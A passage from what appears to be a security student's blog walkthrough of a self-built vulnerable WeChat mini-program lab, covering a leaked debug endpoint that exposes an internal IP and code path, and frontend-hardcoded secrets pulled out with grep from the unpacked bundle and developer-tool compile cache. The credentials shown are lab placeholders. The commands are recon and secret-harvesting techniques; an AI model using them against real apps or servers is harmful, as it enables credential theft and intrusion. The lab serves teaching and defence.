  • db.password: Root@2024! → 数据库口令,配合 host: 10.0.0.12:3306 就是直连整个库
  • smsAccessKey → 短信服务被盗刷

VULN-12 内网探针接口泄露#

Terminal window
curl -s "$B/api/debug/env" | python3 -m json.tool

内网 IP、代码绝对路径、Python 版本、构建号。真实渗透里这一步是为了「找下一步往哪走」。

Terminal window
curl -s http://127.0.0.1:9000/api/debug/env | python3 -m json.tool
{
"code": 0,
"msg": "ok",
"data": {
"env": "prod",
"serverTime": "2026-10-29 11:48:22",
"internalIp": "10.0.0.12",
"codePath": "/data/www/wxlab/server/app.py",
"python": "3.13",
"build": "v1.0.0-20241001",
"note": "TODO: \u4e0a\u7ebf\u524d\u5220\u6389\u8fd9\u4e2a\u63a5\u53e3\uff08\u5fd8\u4e86\uff09"
}
}
  • internalIp: 10.0.0.12 → 和 config 里的 db.host 完全一致,说明数据库就在那台内网机器上,路径清晰了
  • codePath: /data/www/wxlab/server/app.py → 一旦有任意文件读取,直接照着路径读源码
  • note: “TODO: 上线前删掉这个接口

VULN-13 前端硬编码密钥#

miniprogram/utils/config.js 里躺着 AppSecret、AES key、OSS AK/SK、签名密钥。

解包后一句话就能捞出来:

Terminal window
grep -oE '(APP_SECRET|AES_KEY|OSS_SK|SIGN_KEY)[^,]{0,60}' app-service.js

这就是「前端没有秘密」的具体形态。 凡是下发到客户端的密钥,都应当视为已泄露。

不解包,直接看「攻击者眼中的代码」#

先不部署,在开发者模式看看先

这条路的逻辑是:开发者工具调试器里看到的,就是解包后能拿到的。

看开发者工具的编译缓存/微信开发者工具/<hash>/WeappCache/WeappCompileCache/<hash>/

define("utils/config.js", (function(require, module, exports, window, top, document, ...){
// ==================================================================
// [VULN-13] 前端硬编码密钥
// ==================================================================
// 这个文件会被完整打进 app-service.js。你把它当成"配置",但攻击者
// 解包之后直接 grep 就能拿到,一行代码都不用逆。
...
module.exports = {
APP_ID: "wxdemo0000000000",
APP_SECRET: "b7f3c1e9a24d4f8e9c0a1b2d3e4f5a6b",
AES_KEY: "0123456789abcdef",
AES_IV: "abcdef0123456789",
OSS_AK: "LTAI5tDemoFakeKey123",
OSS_SK: "Qm9ndXNBMTIzNDU2Nzg5MGFiY2RlZg==",
OSS_BUCKET: "wxlab-prod",
SIGN_KEY: "l4b_wx_sign_2024_secret",
INTERNAL_API: [
"http://10.0.0.12:8080/api/internal/report",
"http://10.0.0.12:8080/api/internal/export"
]
};

开发者工具打包时不做剥离、不做混淆、不检查文件有没有被引用——按目录原样塞进去。

说明:

  • define(“utils/config.js”, function(…){…}) 就是小程序的模块包装格式,和你在 .wxapkg 里解出来的完全一样。区别只是这里多了 2 字节头部
  • 它没被 require 过,但仍然在包里 —— 你之前在 Sources 里搜 0 of 0,和这里能完整 dump 出来,两件事同时成立。这就是「打包 ≠ 运行」
  • 拿到它的成本是零:tail -c +3 去掉头部,或者 strings -a | grep APP_SECRET。不需要反编译,不需要理解 define 是什么

复现命令

Terminal window
cd "$HOME/Library/Application Support/微信开发者工具"
find . -path "*WeappCompileCache*" -type f | xargs grep -l "APP_SECRET" 2>/dev/null

关掉靶场#

后端在前台跑的话 Ctrl+C 就行。

如果起在后台又找不到进程:

Terminal window
lsof -ti :9000 | xargs kill

基础就做到这里了,后面会上线然后做正式的练习。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录